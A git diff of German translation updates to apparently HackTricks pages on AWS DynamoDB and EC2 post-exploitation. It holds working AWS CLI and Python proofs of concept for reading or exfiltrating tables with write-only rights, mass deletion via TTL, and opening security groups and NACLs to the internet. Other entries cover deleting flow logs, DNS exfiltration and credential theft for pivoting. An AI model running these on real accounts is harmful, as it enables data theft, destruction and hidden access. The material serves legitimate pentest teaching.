**Potentielle Auswirkung**: Echtzeit-Überwachung und Datenleak der Änderungen an der DynamoDB-Tabelle.
|
||||
|
||||
### Items lesen über `dynamodb:UpdateItem` und `ReturnValues=ALL_OLD`
|
||||
### Items lesen via `dynamodb:UpdateItem` und `ReturnValues=ALL_OLD`
|
||||
|
||||
Ein Angreifer mit lediglich `dynamodb:UpdateItem` auf einer Tabelle kann Items lesen, ohne eine der üblichen Lese-Berechtigungen (`GetItem`/`Query`/`Scan`), indem er ein harmloses Update durchführt und `--return-values ALL_OLD` anfordert. DynamoDB gibt das vollständige Pre-Update-Abbild des Items im `Attributes`-Feld der Antwort zurück (dies verbraucht keine RCUs).
|
||||
Ein Angreifer mit nur `dynamodb:UpdateItem` auf einer Tabelle kann Items lesen, ohne die üblichen Lese-Berechtigungen (`GetItem`/`Query`/`Scan`) zu haben, indem er ein harmloses Update durchführt und `--return-values ALL_OLD` anfordert. DynamoDB gibt das vollständige Pre-Update-Abbild des Items im Feld `Attributes` der Antwort zurück (dies verbraucht keine RCUs).
|
||||
|
||||
- Minimale Berechtigungen: `dynamodb:UpdateItem` auf der Ziel-Tabelle/-Key.
|
||||
- Minimale Berechtigungen: `dynamodb:UpdateItem` auf der Ziel-Tabelle/dem Ziel-Key.
|
||||
- Voraussetzungen: Sie müssen den Primärschlüssel des Items kennen.
|
||||
|
||||
Beispiel (fügt ein harmloses Attribut hinzu und exfiltrates das vorherige Item in der Antwort):
|
||||
@@ -319,14 +318,14 @@ aws dynamodb update-item \
|
||||
--return-values ALL_OLD \
|
||||
--region <region>
|
||||
```
|
||||
Die CLI-Antwort wird einen `Attributes`-Block enthalten, der das komplette vorherige Item (alle Attribute) enthält und damit effektiv eine Lese-Primitive bei write-only-Zugriff bereitstellt.
|
||||
Die CLI-Antwort enthält einen `Attributes`-Block, der das vollständige vorherige Item (alle Attribute) enthält und damit effektiv eine read primitive aus write-only access bereitstellt.
|
||||
|
||||
**Mögliche Auswirkungen:** Beliebige Items aus einer Tabelle lesen, obwohl nur Schreibberechtigungen bestehen, wodurch die Exfiltration sensibler Daten möglich wird, wenn die Primärschlüssel bekannt sind.
|
||||
**Potentielle Auswirkungen:** Arbiträre Items aus einer Tabelle mit nur Schreibberechtigungen lesen; ermöglicht sensitive data exfiltration, wenn die primary keys bekannt sind.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
|
||||
|
||||
Heimliche Exfiltration durch Hinzufügen einer neuen Replica-Region zu einer DynamoDB Global Table (version 2019.11.21). Wenn ein Principal eine regionale Replik hinzufügen kann, wird die gesamte Tabelle in die vom Angreifer gewählte Region repliziert, von der aus der Angreifer alle Items lesen kann.
|
||||
Stealth exfiltration, indem eine neue replica Region zu einer DynamoDB Global Table (Version 2019.11.21) hinzugefügt wird. Wenn ein Principal eine regionale Replica hinzufügen kann, wird die gesamte Tabelle in die vom Angreifer gewählte Region repliziert, von der aus der Angreifer alle Items lesen kann.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
|
||||
@@ -355,13 +354,13 @@ aws dynamodb update-table \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Berechtigungen: `dynamodb:UpdateTable` (mit `replica-updates`) oder `dynamodb:CreateTableReplica` auf der Ziel-Tabelle. Wenn in der Replica ein CMK verwendet wird, können KMS-Berechtigungen für diesen Schlüssel erforderlich sein.
|
||||
Berechtigungen: `dynamodb:UpdateTable` (mit `replica-updates`) oder `dynamodb:CreateTableReplica` für die Zieltabelle. Falls in der Replica ein CMK verwendet wird, können KMS-Berechtigungen für diesen Key erforderlich sein.
|
||||
|
||||
Mögliche Auswirkungen: Vollständige Tabellenreplikation in eine vom Angreifer kontrollierte Region, die zu unauffälliger Datenexfiltration führt.
|
||||
Potentielle Auswirkung: Vollständige Tabellenreplikation in eine vom Angreifer kontrollierte Region, die zu unauffälliger Datenexfiltration führt.
|
||||
|
||||
### `dynamodb:TransactWriteItems` (lesen über fehlgeschlagene Bedingung + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
### `dynamodb:TransactWriteItems` (Lesen durch fehlgeschlagene Bedingung + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
|
||||
Ein Angreifer mit transaktionalen Schreibrechten kann die vollständigen Attribute eines vorhandenen item exfiltrieren, indem er ein `Update` innerhalb von `TransactWriteItems` ausführt, das absichtlich eine `ConditionExpression` fehlschlagen lässt, während `ReturnValuesOnConditionCheckFailure=ALL_OLD` gesetzt ist. Beim Fehlschlag fügt DynamoDB die vorherigen Attribute in die Gründe für den Abbruch der Transaktion ein und wandelt damit schreibberechtigten Zugriff effektiv in Lesezugriff auf die gezielten Keys um.
|
||||
Ein Angreifer mit transaktionalen Schreibrechten kann die vollständigen Attribute eines bestehenden Items exfiltrieren, indem er ein `Update` innerhalb von `TransactWriteItems` durchführt, das absichtlich eine `ConditionExpression` fehlschlagen lässt, während `ReturnValuesOnConditionCheckFailure=ALL_OLD` gesetzt ist. Im Fehlerfall fügt DynamoDB die vorherigen Attribute in die Gründe für die Transaktionsstornierung ein, wodurch Schreibzugriff effektiv in Lesezugriff auf die gezielten Schlüssel verwandelt wird.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
|
||||
@@ -410,19 +409,19 @@ print(e.response['CancellationReasons'][0]['Item'])
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Berechtigungen: `dynamodb:TransactWriteItems` auf der Ziel-Tabelle (und dem zugrundeliegenden Item). Es sind keine Lese-Berechtigungen erforderlich.
|
||||
Berechtigungen: `dynamodb:TransactWriteItems` auf der Ziel-Tabelle (und dem zugrunde liegenden Item). Es sind keine Lese-Berechtigungen erforderlich.
|
||||
|
||||
Potentielle Auswirkungen: Beliebige Items (per Primärschlüssel) aus einer Tabelle lesen, nur mit Transaktions-Schreibberechtigungen mithilfe der zurückgegebenen cancellation reasons.
|
||||
Potentielle Auswirkungen: Beliebige Items (nach Primärschlüssel) aus einer Tabelle lesen, indem nur transaktionale Schreibrechte verwendet werden, über die zurückgegebenen cancellation reasons.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` auf GSI
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
|
||||
|
||||
Leseeinschränkungen umgehen, indem ein Global Secondary Index (GSI) mit `ProjectionType=ALL` auf einem Attribut mit geringer Entropie erstellt wird, dieses Attribut über alle Items auf einen konstanten Wert gesetzt wird und dann der Index mit `Query` abgefragt wird, um komplette Items zu erhalten. Das funktioniert selbst wenn `Query`/`Scan` auf der Basistabelle verweigert wird, solange der Index-ARN abgefragt werden kann.
|
||||
Umgehung von Leseeinschränkungen durch Erstellen eines Global Secondary Index (GSI) mit `ProjectionType=ALL` auf einem Attribut mit geringer Entropie, Setzen dieses Attributs auf einen konstanten Wert über alle Items hinweg und anschließendes `Query` des Index, um vollständige Items abzurufen. Dies funktioniert selbst dann, wenn `Query`/`Scan` auf der Basistabelle verweigert werden, solange Sie das Index-ARN abfragen können.
|
||||
|
||||
- Minimale Berechtigungen:
|
||||
- `dynamodb:UpdateTable` auf der Ziel-Tabelle (um den GSI mit `ProjectionType=ALL` zu erstellen).
|
||||
- `dynamodb:UpdateItem` auf den Schlüsseln der Ziel-Tabelle (um das indizierte Attribut in jedem Item zu setzen).
|
||||
- `dynamodb:Query` auf dem Index-Resource-ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
- `dynamodb:UpdateItem` auf die Schlüssel der Ziel-Tabelle (um das indizierte Attribut für jedes Item zu setzen).
|
||||
- `dynamodb:Query` auf das Index-Ressourcen-ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
|
||||
Schritte (PoC in us-east-1):
|
||||
```bash
|
||||
@@ -462,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1
|
||||
```
|
||||
**Potenzielle Auswirkungen:** Full table exfiltration durch Abfrage eines neu erstellten GSI, der alle Attribute projiziert, selbst wenn Lese-APIs der Basistabelle verweigert werden.
|
||||
**Potentielle Auswirkung:** Full table exfiltration durch Abfragen eines neu erstellten GSI, das alle Attribute projiziert, selbst wenn die base table read APIs verweigert werden.
|
||||
|
||||
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Kontinuierliche exfiltration via Kinesis Data Streams)
|
||||
|
||||
Ausnutzung von DynamoDB Kinesis streaming destinations, um Änderungen aus einer Tabelle kontinuierlich zu exfiltrate in einen vom Angreifer kontrollierten Kinesis Data Stream. Nach Aktivierung wird jedes INSERT/MODIFY/REMOVE-Ereignis nahezu in Echtzeit an den Stream weitergeleitet, ohne dass Leseberechtigungen für die Tabelle erforderlich sind.
|
||||
Ausnutzen von DynamoDB Kinesis streaming destinations, um Änderungen einer Tabelle kontinuierlich in einen vom Angreifer kontrollierten Kinesis Data Stream zu exfiltrieren. Sobald aktiviert, wird jedes INSERT/MODIFY/REMOVE-Ereignis nahezu in Echtzeit an den Stream weitergeleitet, ohne Lese-Berechtigungen auf der Tabelle zu benötigen.
|
||||
|
||||
Minimale Berechtigungen (Angreifer):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` auf der Ziel-Tabelle
|
||||
- Optional `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable`, um den Status zu überwachen
|
||||
- Lese-Berechtigungen für den vom Angreifer kontrollierten Kinesis-Stream, um Records zu konsumieren: `kinesis:*`
|
||||
Minimum permissions (attacker):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` on the target table
|
||||
- Optionally `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` to monitor status
|
||||
- Lese-Berechtigungen auf dem vom Angreifer kontrollierten Kinesis-Stream, um Datensätze zu konsumieren: `kinesis:*`
|
||||
|
||||
<details>
|
||||
<summary>PoC (us-east-1)</summary>
|
||||
@@ -529,10 +528,45 @@ aws dynamodb disable-kinesis-streaming-destination \
|
||||
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
|
||||
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
### `dynamodb:UpdateTimeToLive`
|
||||
|
||||
Ein Angreifer mit der Berechtigung dynamodb:UpdateTimeToLive kann die TTL (time-to-live)-Konfiguration einer Tabelle ändern — TTL aktivieren oder deaktivieren. Wenn TTL aktiviert ist, werden einzelne Items, die das konfigurierte TTL-Attribut enthalten, automatisch gelöscht, sobald ihre Ablaufzeit erreicht ist. Der TTL-Wert ist nur ein weiteres Attribut jedes Items; Items ohne dieses Attribut sind von TTL-basierten Löschungen nicht betroffen.
|
||||
|
||||
Wenn Items das TTL-Attribut noch nicht enthalten, benötigt der Angreifer zusätzlich eine Berechtigung zum Aktualisieren von Items (zum Beispiel dynamodb:UpdateItem), um das TTL-Attribut hinzuzufügen und Massenlöschungen auszulösen.
|
||||
|
||||
Aktivieren Sie zuerst TTL für die Tabelle und geben Sie den Attributnamen an, der für das Ablaufdatum verwendet werden soll:
|
||||
```bash
|
||||
aws dynamodb update-time-to-live \
|
||||
--table-name <TABLE_NAME> \
|
||||
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
|
||||
```
|
||||
Dann aktualisiere die Items, um das TTL-Attribut (epoch seconds) hinzuzufügen, damit sie ablaufen und entfernt werden:
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TABLE_NAME> \
|
||||
--key '<PRIMARY_KEY_JSON>' \
|
||||
--update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
|
||||
--expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'
|
||||
```
|
||||
### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime`
|
||||
|
||||
Ein Angreifer mit dynamodb:RestoreTableFromAwsBackup- oder dynamodb:RestoreTableToPointInTime-Berechtigungen kann neue Tabellen erstellen, die aus Backups oder mittels point-in-time recovery (PITR) wiederhergestellt wurden, ohne die Originaltabelle zu überschreiben. Die wiederhergestellte Tabelle enthält ein vollständiges Abbild der Daten zum gewählten Zeitpunkt, sodass der Angreifer sie nutzen kann, um historische Informationen zu exfiltrieren oder einen vollständigen Dump des früheren Zustands der Datenbank zu erhalten.
|
||||
|
||||
Wiederherstellen einer DynamoDB-Tabelle aus einem On-Demand-Backup:
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--target-table-name <NEW_TABLE_NAME> \
|
||||
--backup-arn <BACKUP_ARN>
|
||||
```
|
||||
Eine DynamoDB-Tabelle zu einem bestimmten Zeitpunkt wiederherstellen (eine neue Tabelle mit dem wiederhergestellten Zustand erstellen):
|
||||
```bash
|
||||
aws dynamodb restore-table-to-point-in-time \
|
||||
--source-table-name <SOURCE_TABLE_NAME> \
|
||||
--target-table-name <NEW_TABLE_NAME> \
|
||||
--use-latest-restorable-time
|
||||
````
|
||||
</details>
|
||||
|
||||
**Potential Impact:** Kontinuierliche, nahezu in Echtzeit stattfindende Exfiltration von Tabellenänderungen zu einem vom Angreifer kontrollierten Kinesis-Stream ohne direkte Leseoperationen auf der Tabelle.
|
||||
|
||||
|
||||
**Mögliche Auswirkungen:** Kontinuierliche, nahezu in Echtzeit exfiltration von Tabellenänderungen zu einem attacker-controlled Kinesis stream, ohne direkte Leseoperationen an der Tabelle.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,10 +12,10 @@ Für weitere Informationen siehe:
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC traffic mirroring **dupliziert eingehenden und ausgehenden Traffic für EC2 instances innerhalb einer VPC** ohne die Notwendigkeit, etwas auf den instances selbst zu installieren. Dieser duplizierte Traffic würde üblicherweise an etwas wie ein Netzwerk-Intrusion-Detection-System (IDS) zur Analyse und Überwachung gesendet werden.\
|
||||
Ein Angreifer könnte dies missbrauchen, um den gesamten Traffic abzufangen und daraus sensible Informationen zu gewinnen:
|
||||
VPC traffic mirroring **dupliziert eingehenden und ausgehenden Traffic für EC2 instances innerhalb einer VPC**, ohne dass etwas auf den Instances selbst installiert werden muss. Dieser duplizierte Traffic wird üblicherweise an etwas wie ein network intrusion detection system (IDS) zur Analyse und Überwachung gesendet.\
|
||||
An attacker könnte dies missbrauchen, um den gesamten Traffic zu erfassen und daraus sensible Informationen zu gewinnen:
|
||||
|
||||
Für weitere Informationen siehe diese Seite:
|
||||
Für mehr Informationen siehe diese Seite:
|
||||
|
||||
{{#ref}}
|
||||
aws-malicious-vpc-mirror.md
|
||||
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
|
||||
|
||||
### Copy Running Instance
|
||||
|
||||
Instances enthalten normalerweise irgendeine Art von sensiblen Informationen. Es gibt verschiedene Wege, hineinzukommen (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Allerdings ist eine andere Möglichkeit, den Inhalt zu prüfen, **ein AMI zu erstellen und daraus eine neue instance (auch in deinem eigenen account) zu starten**:
|
||||
Instances enthalten normalerweise irgendeine Form sensibler Informationen. Es gibt verschiedene Wege, hineinzukommen (siehe [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Eine andere Möglichkeit, den Inhalt zu prüfen, ist jedoch, **eine AMI zu erstellen und daraus eine neue Instance (auch in deinem eigenen Account) zu starten**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots sind Backups von volumes**, die normalerweise **sensible Informationen** enthalten; daher sollte deren Überprüfung diese Informationen offenlegen.\
|
||||
Wenn du ein **volume ohne snapshot** findest, könntest du: **einen snapshot erstellen** und die folgenden Aktionen durchführen oder es einfach **in einer instance** innerhalb des account mounten:
|
||||
**Snapshots sind Backups von Volumes**, die in der Regel **sensible Informationen** enthalten; daher sollte deren Überprüfung solche Informationen offenlegen.\
|
||||
Wenn Sie ein **Volume ohne Snapshot** finden, können Sie: einen **Snapshot erstellen** und die folgenden Aktionen durchführen oder es einfach in einer Instance im Account **mounten**:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
Exportiere ein EC2 AMI direkt nach S3 mit `CreateStoreImageTask`, um ein rohes Festplattenimage ohne Snapshot-Sharing zu erhalten. Dadurch sind vollständige Offline-Forensik oder Datendiebstahl möglich, ohne das Netzwerk der instance zu verändern.
|
||||
Exportieren Sie ein EC2 AMI direkt zu S3 mit `CreateStoreImageTask`, um ein rohes Disk-Image ohne Snapshot-Freigabe zu erhalten. Dies ermöglicht vollständige Offline-Forensik oder Datendiebstahl, ohne das Instance-Netzwerk zu verändern.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
@@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
Hänge ein io1/io2 Multi-Attach volume an eine zweite instance und mounte es read-only, um Live-Daten ohne Snapshots abzuziehen. Nützlich, wenn das Opfer-volume bereits Multi-Attach in derselben AZ aktiviert hat.
|
||||
Hängen Sie ein io1/io2 Multi-Attach-Volume an eine zweite Instance und mounten Sie es schreibgeschützt, um Live-Daten ohne Snapshots abzuziehen. Nützlich, wenn das Opfer-Volume bereits innerhalb derselben AZ Multi-Attach aktiviert hat.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
@@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
Erstelle einen EC2 Instance Connect Endpoint, erlaube Ingress und injiziere ephemere SSH-Keys, um über einen managed Tunnel auf private instances zuzugreifen. Bietet schnelle laterale Bewegungsmöglichkeiten, ohne öffentliche Ports zu öffnen.
|
||||
Erstellen Sie einen EC2 Instance Connect Endpoint, autorisieren Sie Ingress und injizieren Sie temporäre SSH-Keys, um über einen gemanagten Tunnel auf private Instances zuzugreifen. Ermöglicht schnelle laterale Bewegungen, ohne öffentliche Ports zu öffnen.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
@@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Verschiebe die sekundäre private IP einer Opfer-ENI zu einer vom Angreifer kontrollierten ENI, um vertrauenswürdige Hosts zu impersonifizieren, die per IP allowgelistet sind. Ermöglicht das Umgehen interner ACLs oder SG-Regeln, die an bestimmte Adressen gebunden sind.
|
||||
Verschieben Sie die sekundäre private IP einer Opfer-ENI auf eine vom Angreifer kontrollierte ENI, um vertrauenswürdige Hosts, die per IP allowgelistet sind, zu imitieren. Ermöglicht das Umgehen interner ACLs oder SG-Regeln, die an bestimmte Adressen gebunden sind.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Weise eine Elastic IP vom Opfer-instance dem Angreifer zu, um eingehenden Traffic zu intercepten oder ausgehende Verbindungen zu originieren, die so aussehen, als kämen sie von vertrauenswürdigen öffentlichen IPs.
|
||||
Weisen Sie eine Elastic IP von der Opfer-Instance dem Angreifer zu, um eingehenden Traffic abzufangen oder ausgehende Verbindungen zu initiieren, die so aussehen, als kämen sie von vertrauenswürdigen öffentlichen IPs.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
Wenn eine Security Group-Regel eine customer-managed prefix list referenziert, erweitert das Hinzufügen von Angreifer-CIDRs zur Liste stillschweigend den Zugriff über jede abhängige SG-Regel, ohne die SG selbst zu ändern.
|
||||
Wenn eine Security-Group-Regel auf eine vom Kunden verwaltete Prefix-Liste verweist, erweitert das Hinzufügen von Angreifer-CIDRs zur Liste stillschweigend den Zugriff für alle abhängigen SG-Regeln, ohne die SG selbst zu ändern.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -106,15 +106,43 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
Erstelle gateway- oder interface-VPC endpoints, um den ausgehenden Zugriff aus isolierten Subnetzen wiederherzustellen. Die Nutzung von AWS-managed private links umgeht fehlende IGW/NAT-Kontrollen für Datenexfiltration.
|
||||
Erstellen Sie Gateway- oder Interface-VPC-Endpoints, um aus isolierten Subnetzen wieder ausgehenden Zugang zu erhalten. Die Nutzung von AWS-managed privaten Links umgeht fehlende IGW-/NAT-Kontrollen für die Datenexfiltration.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
Ein Angreifer mit der Berechtigung ec2:AuthorizeSecurityGroupIngress kann Security Groups inbound-Regeln hinzufügen (z. B. tcp:80 von 0.0.0.0/0), wodurch interne Dienste dem öffentlichen Internet oder anderweitig nicht autorisierten Netzwerken ausgesetzt werden.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
Ein Angreifer mit ec2:ReplaceNetworkAclEntry (oder ähnlichen) Berechtigungen kann die Network ACLs (NACLs) eines Subnetzes so ändern, dass sie sehr permissiv werden — zum Beispiel 0.0.0.0/0 auf kritischen Ports erlauben — und dadurch den gesamten Subnetzbereich dem Internet oder unbefugten Netzsegmenten aussetzen.
|
||||
|
||||
Im Gegensatz zu Security Groups, die pro Instanz angewendet werden, gelten NACLs auf Subnetzebene. Das Ändern einer restriktiven NACL kann daher einen deutlich größeren Auswirkungsradius haben, da es den Zugriff auf viele weitere Hosts ermöglicht.
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
--rule-number 100 \
|
||||
--protocol <PROTOCOL> \
|
||||
--rule-action allow \
|
||||
--egress <true|false> \
|
||||
--cidr-block 0.0.0.0/0
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
Ein Angreifer mit ec2:Delete* und iam:Remove* Rechten kann kritische Infrastrukturressourcen und -konfigurationen löschen — zum Beispiel key pairs, launch templates/versions, AMIs/snapshots, volumes oder attachments, security groups oder rules, ENIs/network endpoints, route tables, gateways oder managed endpoints. Dies kann sofortige Dienstunterbrechungen, Datenverlust und den Verlust forensischer Beweise verursachen.
|
||||
|
||||
Ein Beispiel ist das Löschen einer security group:
|
||||
|
||||
aws ec2 delete-security-group \
|
||||
--group-id <SECURITY_GROUP_ID>
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
Leite VPC Flow Logs an ein vom Angreifer kontrolliertes S3-Bucket, um fortlaufend Netzwerk-Metadaten (Source/Destination, Ports) außerhalb des Opfer-accounts für langfristige Aufklärung zu sammeln.
|
||||
Leite VPC Flow Logs auf einen vom Angreifer kontrollierten S3-Bucket, um Netzwerk-Metadaten (source/destination, ports) kontinuierlich außerhalb des Opfer-Accounts für langfristige reconnaissance zu sammeln.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
@@ -124,93 +152,93 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
Selbst wenn du eine EC2 so einschränkst, dass kein Traffic herauskommt, kann sie dennoch **über DNS exfiltrieren**.
|
||||
Selbst wenn Sie eine EC2 so absichern, dass kein Traffic nach außen kann, kann sie immer noch **exfil via DNS**.
|
||||
|
||||
- **VPC Flow Logs werden dies nicht aufzeichnen**.
|
||||
- Du hast keinen Zugriff auf AWS DNS-Logs.
|
||||
- Deaktiviere dies, indem du "enableDnsSupport" auf false setzt mit:
|
||||
- Sie haben keinen Zugriff auf AWS DNS-Logs.
|
||||
- Deaktivieren Sie dies, indem Sie "enableDnsSupport" auf false setzen mit:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
Ein Angreifer könnte API-Endpunkte eines von ihm kontrollierten Accounts aufrufen. Cloudtrail wird diese Aufrufe protokollieren und der Angreifer kann die exfiltrierten Daten in den Cloudtrail-Logs sehen.
|
||||
Ein Angreifer könnte API-Endpunkte eines von ihm kontrollierten Accounts aufrufen. Cloudtrail wird diese Aufrufe protokollieren und der Angreifer wird die exfiltrate data in den Cloudtrail-Logs sehen können.
|
||||
|
||||
### Open Security Group
|
||||
### Offene Security Group
|
||||
|
||||
Du könntest weiteren Zugriff auf Netzwerkdienste erhalten, indem du Ports wie folgt öffnest:
|
||||
Sie könnten weitergehenden Zugriff auf Netzwerkdienste erhalten, indem Sie Ports wie folgt öffnen:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc to ECS
|
||||
|
||||
Es ist möglich, eine EC2-Instanz zu starten und sie so zu registrieren, dass sie zum Ausführen von ECS-Instanzen verwendet wird, und anschließend die Daten der ECS-Instanzen zu stehlen.
|
||||
Es ist möglich, eine EC2 instance zu betreiben und sie so zu registrieren, dass sie zum Ausführen von ECS instances verwendet wird, und anschließend die Daten der ECS instances zu stehlen.
|
||||
|
||||
Für [**weitere Informationen siehe hier**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### Remove VPC flow logs
|
||||
### VPC flow logs entfernen
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
### SSM Port-Weiterleitung
|
||||
### SSM Port Forwarding
|
||||
|
||||
Erforderliche Berechtigungen:
|
||||
Required permissions:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Zusätzlich zur Ausführung von Befehlen ermöglicht SSM Traffic-Tunneling, das missbraucht werden kann, um von EC2-Instanzen zu pivoten, die aufgrund von Security Groups oder NACLs keinen Netzwerkzugang haben.
|
||||
Zusätzlich zur Befehlsausführung erlaubt SSM auch traffic tunneling, das missbraucht werden kann, um Pivoting von EC2-Instanzen durchzuführen, die aufgrund von Security Groups oder NACLs keinen Netzwerkzugriff haben.
|
||||
Eines der Szenarien, in denen dies nützlich ist, ist das Pivoting von einem [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) zu einem privaten EKS-Cluster.
|
||||
|
||||
> Um eine Session zu starten, benötigen Sie das installierte SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
> Um eine Session zu starten, müssen Sie das SessionManagerPlugin installiert haben: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. Installieren Sie das SessionManagerPlugin auf Ihrer Maschine
|
||||
2. Melden Sie sich beim Bastion EC2 mit folgendem Befehl an:
|
||||
2. Melden Sie sich mit dem folgenden Befehl bei der Bastion EC2 an:
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Hole die temporären AWS-Anmeldeinformationen des Bastion EC2 mit dem Skript [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Übertrage die Anmeldeinformationen auf deine eigene Maschine in der `$HOME/.aws/credentials` Datei als Profil `[bastion-ec2]`
|
||||
3. Hole die Bastion EC2 AWS temporären Anmeldeinformationen mit dem [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) Skript
|
||||
4. Übertrage die Anmeldeinformationen auf deinen eigenen Rechner in die Datei `$HOME/.aws/credentials` als Profil `[bastion-ec2]`
|
||||
5. Melde dich bei EKS als Bastion EC2 an:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
